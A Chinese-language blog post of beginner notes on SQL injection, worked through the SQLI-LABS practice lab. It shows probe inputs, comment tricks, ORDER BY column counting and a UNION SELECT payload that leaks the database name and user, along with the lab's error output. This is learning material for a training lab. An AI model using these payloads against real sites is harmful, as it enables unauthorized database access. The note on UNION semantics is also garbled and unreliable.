sql injection note day01




Learn From
SQLI-LABS


Lesson 1
try{
?id=90999999999999999999999....
?id=news
?id=new1992
?id=1'
....
}


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";


?id=1’ --+       --后面借一个符号或者空格才可以是 有效的注释符号
?id=1’ %23


先用?id=1 \  侦查目标的query大概是什么样的。
less-1?id=1 \     
->  
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '    '1\' LIMIT 0,1      ' at line 1
所以,暴露了 '1\' LIMIT 0,1 


less-3? id=1 \ 
->  
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1\') LIMIT 0,1' at line 1
暴露了   '1\') LIMIT 0,1


Less-1/?id=1' order by 4 --+
->
Unknown column '4' in 'order clause' 
暴露了只有三个col
->
select col1,col2,col3 from table where id = 'your input'


知道有三列后,用union
?id=-1' union select 1,database(),current_user --+
->
Your Login name:security
Your Password:root@localhost 


解:
select * from a union select * from b --这种是A表与B表结果的交集写法,合并表,没有重复行;
select * from a union all select * from b --这种是A表与B表结果的并集写法 有重复行;


插入union select 1,database(),current_user --+后,
$sql="SELECT * FROM users WHERE id=('$id') union select 1,database(),current_user --+LIMIT 0,1";
union之前 id=-1返回空的数据,作为交集 union后面得到的结果便是$sql。


select 1,database(),current_user 并没有从数据库表中的table提取数据,而users(id,username,password)与union select 1,2,3分别对应。


$result=mysql_query($sql);
$result里面的username和password于是对应union select 1,2,3的2,3;

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值